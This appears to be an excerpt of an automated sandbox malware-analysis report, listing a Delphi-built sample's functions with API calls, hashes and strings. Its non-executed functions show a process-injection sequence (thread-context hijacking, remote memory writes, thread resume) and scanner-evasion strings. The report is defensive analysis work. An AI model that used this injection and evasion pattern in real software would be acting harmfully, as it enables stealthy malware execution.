Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 725dba8cb5c154333cb87e7b6164a9ec58bdf03e4951308d089867005896803d
Instruction ID: 7459cb3b45086b9843a14ecb74db08cf89c1c6687e534473154925d9846e5890
Opcode Fuzzy Hash: 725dba8cb5c154333cb87e7b6164a9ec58bdf03e4951308d089867005896803d
Instruction Fuzzy Hash: 45313E71A04209EFDB51EEA8C984AAE77E8EB0C304F5C45A5F90DD7250E734ED51CBA2

Function 02B96CF4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02B96D41,?,?,?,00000000), ref: 02B96D21

Part of subcall function 02B84C0C: SysFreeString.OLEAUT32(02B9E950), ref: 02B84C1A

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 6dbd5b4a5e2b5b0e51e709b875c5c551933ac6b32bfbbb77beffd082d38bf79c
Instruction ID: a601ffd8b5705a7334021983f46006c7c67abda5e7a717a6fbe6ea5908073057
Opcode Fuzzy Hash: 6dbd5b4a5e2b5b0e51e709b875c5c551933ac6b32bfbbb77beffd082d38bf79c
Instruction Fuzzy Hash: DCE06D71604208BBEB05FBA5DC5196A7BFDEF49B50B5148F1F809D3650EA74AE00D960

Function 02B85814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02B80000,?,00000105), ref: 02B85832

Part of subcall function 02B85A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B80000,02BAD790), ref: 02B85A94
Part of subcall function 02B85A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B80000,02BAD790), ref: 02B85AB2
Part of subcall function 02B85A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B80000,02BAD790), ref: 02B85AD0
Part of subcall function 02B85A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B85AEE
Part of subcall function 02B85A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B85B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B85B37
Part of subcall function 02B85A78: RegQueryValueExA.ADVAPI32(?,02B85CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B85B7D,?,80000001), ref: 02B85B55
Part of subcall function 02B85A78: RegCloseKey.ADVAPI32(?,02B85B84,00000000,?,?,00000000,02B85B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B85B77

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: d01aebe5f3ee74a37beebc83f3a2725b4e35dbfb7d38b7a93b1a8557ac7caea0
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: D6E06D71A002148BCB20EE5C88C0A5637D8AB08750F4105A5EC58DF34AD370E9508BD0

Function 02B87D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02B87DB0

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: ac51af5718fc1c8488434e54017f3104e87ea24c93748124e9d84b7300d69ee8
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 76D05BB63081507AD220A95A5C44EF75BDCCBC9770F100679B66CC3180E7208C01C771

Function 02B84C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02B84C37

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
Instruction ID: bf73fa03db257a1aa0158afe27383b0d9b97acc24aab623a56ed7b980423f056
Opcode Fuzzy Hash: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
Instruction Fuzzy Hash: 93C012B261133547EB216A9C9CC075662DCDB052A5F1400E1D50CD7240E3609C00CB65

Function 02B87E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02BA2A49,ScanString,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,Initialize), ref: 02B87E47

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
Instruction ID: 5d49e2497d2d98d416ca165942b691ad1d6fbc53eecc5d21f091d2c5875c8d97
Opcode Fuzzy Hash: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
Instruction Fuzzy Hash: F7C08CA62022090E5E60B2FC1CC069A42CE8B1423A3B01FE1E53CDA1CADB11D822B410

Function 02B87E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B9F8CC,ScanString,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,UacScan,02BE137C,02BAAFD8,UacInitialize), ref: 02B87E23

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction ID: b81785ac39ac348f7d99c46f66c62c6545129381dee0b438db767bf1dfaf5fd6
Opcode Fuzzy Hash: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction Fuzzy Hash: BCC08CA62022000B9A60B1FC0CC444A42CC8B0413E3B40FF5B53CCA2D2DB218812B410

Function 02BABB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02BABB44,00000000,00000001), ref: 02BABB60

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 5581899b360c0b2fa1bf38089f0f260130f075321db0f21791f8002c2abe3144
Instruction ID: 715282e57a9da7592a63dde5486cb961699fab0960b2df505f1ce444621d609f
Opcode Fuzzy Hash: 5581899b360c0b2fa1bf38089f0f260130f075321db0f21791f8002c2abe3144
Instruction Fuzzy Hash: B1C092F17D63003EF62466A81CD2F63668DE704B04FA00492BB05EE2D1D5E248604A74

Function 02B84BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02B84BEB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: 7b8ab41805a3427d10d079dab91b88e961865c5635a094ee0180e5e3eeea658f
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: 64B0923824820359EA5036610D00B7210AC8B50286F8400D19E2CC8080FB00C401C832

Function 02B84BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02B84C03

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
Instruction ID: 287df9d815f941eefba6d6cc723e51e4b6c241ad810f6534fc255af60c8a45cd
Opcode Fuzzy Hash: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
Instruction Fuzzy Hash: 56A022AC0003030ACF0B3B2E800002A20BBBFE03003CAC0E8020C0A000CF3A8000EE30

Function 02B815CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02B81A03,?,02B82000), ref: 02B815E2

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2e4cb4b6c0ed46af09a0c25fc07f42822163f76d9c6c49259ef018cbed540c16
Instruction ID: 57c5026d241bf3d611f125d77d24ea41958ac3ff2b670853cbdfab64455f21bc
Opcode Fuzzy Hash: 2e4cb4b6c0ed46af09a0c25fc07f42822163f76d9c6c49259ef018cbed540c16
Instruction Fuzzy Hash: FFF0E7F0B523004BEB85DF7999543856BE6E789384F1485B9E609DF298E77194128B10

Function 02B81682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02B82000), ref: 02B816A4

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a30b3dc5a3773f4adbfd84338ab007605d176a9a0c9a565d81af4ba797a2604b
Instruction ID: e4d9663a327a22b40cec395272e1fac4fe0bad7d1e0b1fd9b1caa6fe5d5e81fb
Opcode Fuzzy Hash: a30b3dc5a3773f4adbfd84338ab007605d176a9a0c9a565d81af4ba797a2604b
Instruction Fuzzy Hash: FFF0B4B2B41795ABDB20AF5E9C81782BBA4FB00354F054579F98CAB340D7B0A811CFD4

Function 02B816E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02B81FE4), ref: 02B81704

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 61aa7f50624fcea4168b25860724eff9e2ba59ef9e2f2416c619c1348532b689
Instruction ID: 2bad6eab8ab04fbb28b43f7469c63964cf9dcbdac5cb67d275f366816ee9fc15
Opcode Fuzzy Hash: 61aa7f50624fcea4168b25860724eff9e2ba59ef9e2f2416c619c1348532b689
Instruction Fuzzy Hash: 10E086B9311301AFD7106E7D5D407126BD8EB44654F1448B9F54DDB241D2A0E811CB60

Non-executed Functions

Function 02B9A95C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02B9ABE3,?,?,02B9AC75,00000000,02B9AD51), ref: 02B9A970
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02B9A988
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02B9A99A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02B9A9AC
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02B9A9BE
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02B9A9D0
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02B9A9E2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02B9A9F4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02B9AA06
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02B9AA18
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02B9AA2A
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02B9AA3C
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02B9AA4E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02B9AA60
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02B9AA72
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02B9AA84
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02B9AA96

Strings

Module32NextW, xrefs: 02B9AA8E
Thread32Next, xrefs: 02B9AA46
Process32NextW, xrefs: 02B9AA22
Module32FirstW, xrefs: 02B9AA7C
Heap32First, xrefs: 02B9A9B6
Module32First, xrefs: 02B9AA58
CreateToolhelp32Snapshot, xrefs: 02B9A980
Heap32ListNext, xrefs: 02B9A9A4
Thread32First, xrefs: 02B9AA34
Process32First, xrefs: 02B9A9EC
Module32Next, xrefs: 02B9AA6A
Heap32ListFirst, xrefs: 02B9A992
Process32FirstW, xrefs: 02B9AA10
Process32Next, xrefs: 02B9A9FE
Heap32Next, xrefs: 02B9A9C8
kernel32.dll, xrefs: 02B9A96B
Toolhelp32ReadProcessMemory, xrefs: 02B9A9DA

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: de2aba2e45c38df419d8a24648db3b871e21f8a7cb4126cbddd14bc8901dfca5
Instruction ID: fa2d7c08963535ea822810031a1ae9833ec43e1218a9759bc82fe18609e8881a
Opcode Fuzzy Hash: de2aba2e45c38df419d8a24648db3b871e21f8a7cb4126cbddd14bc8901dfca5
Instruction Fuzzy Hash: 69318FB0A90760EFEF10AFB8D885A6A37EAEB06740B5009F5F40ADF215D7749850CF51

Function 02B98BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98824: LoadLibraryA.KERNEL32(00000000,00000000,02B9890B), ref: 02B98858
Part of subcall function 02B98824: FreeLibrary.KERNEL32(74FC0000,00000000,02BE1388,Function_000065D8,00000004,02BE1398,02BE1388,05F5E0FF,00000040,02BE139C,74FC0000,00000000,00000000,00000000,00000000,02B9890B), ref: 02B988EB

GetThreadContext.KERNEL32(00000000,02BE1420,ScanString,02BE13A4,02B9A77C,UacInitialize,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,UacInitialize,02BE13A4), ref: 02B99442

Part of subcall function 02B979B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B97A27

Part of subcall function 02B97D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B97D74

SetThreadContext.KERNEL32(00000000,02BE1420,ScanBuffer,02BE13A4,02B9A77C,ScanString,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,00000000,-00000008,02BE14F8,00000004,02BE14FC), ref: 02B9A157
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,02BE1420,ScanBuffer,02BE13A4,02B9A77C,ScanString,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,00000000,-00000008,02BE14F8), ref: 02B9A164

Part of subcall function 02B987A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,UacScan), ref: 02B987B4
Part of subcall function 02B987A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B987CE
Part of subcall function 02B987A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize), ref: 02B9880A

Strings

MiniDumpReadDumpStream, xrefs: 02B9A568
Initialize, xrefs: 02B98F2A, 02B99538, 02B996BF, 02B99AA8, 02B99D0A, 02B99E7A, 02B99FED, 02B9A252, 02B9A583
UacScan, xrefs: 02B98CB3, 02B98ECB, 02B994C7, 02B998C3, 02B99A37, 02B9A1E1, 02B9A679
I_QueryTagInformation, xrefs: 02B9A540
NtOpenObjectAuditAlarm, xrefs: 02B9A474, 02B9A52C
BCryptRegisterProvider, xrefs: 02B9A3DB
dbgcore, xrefs: 02B9A559, 02B9A56D
